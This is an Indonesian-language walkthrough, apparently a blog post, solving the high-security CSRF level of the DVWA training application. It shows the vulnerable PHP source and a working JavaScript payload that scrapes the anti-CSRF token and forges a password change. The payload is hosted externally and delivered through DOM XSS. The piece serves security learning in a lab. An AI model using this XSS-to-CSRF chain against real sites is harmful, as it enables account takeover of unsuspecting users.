Di bawah ini adalah source-code dari CSRF level high di DVWA.
vulnerabilities/csrf/source/high.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Mencari Informasi
Jika kita melakukan inspect element pada level high ini, maka akan terlihat bahwa terdapat parameter user_token yang sengaja disembunyikan oleh developer.
user_token ini akan terkirim ketika kita melakukan request.
Nilai dari user_token ini akan berubah-ubah setiap kali kita melakukan request baru (coba saja refresh). Nilai dari parameter ini nantinya akan divalidasi kecocokannya dengan yang ada di server. Ini lah yang dinamakan Anti-CSRF token yang berfungsi untuk memastikan bahwa request dilakuakan secara sah.
Setelah beberapa hari memikirkan jalan keluar untuk mengatasi masalah ini, akhirnya saya menemukan titik terang ketika membaca salah satu artikel. Untuk menyelesaikan masalah ini kita membutuhkan bantuan dari vulnerability lainnya, yaitu XSS.
Jadi skenarionya, kita akan menjalankan JavaScript melalui XSS untuk mendapatkan nilai dari token tersebut, lalu melakukan CSRF untuk merubah password. WOW! Menjadi pengetahuan baru ini bagi saya. 😅
Melakukan Serangan
Oke dari informasi yang sudah kita dapatkan, kita akan siap melakukan serangan.
Pertama-tama kita akan membuat script JS seperti berikut:
var theUrl = 'http://172.17.0.2/vulnerabilities/csrf/';
var pass = 'pwned';
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://172.17.0.2/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
if(!hacked){
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET", new_url, false );
xmlhttp.send();
}
count++;
}
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();
Pastikan URL-nya sudah sesuai dengan kondisi anda.
Selanjutnya kita upload file tersebut ke server yang bisa diakses oleh DVWA (contoh: http://0.0.0.0/xsrf-to-csrf.js). Setelah itu lakukan serangan XSS (sebagai contoh saya menggunakan XSS DOM) dan jalankan script JS yang telah kita buat sebelumnya.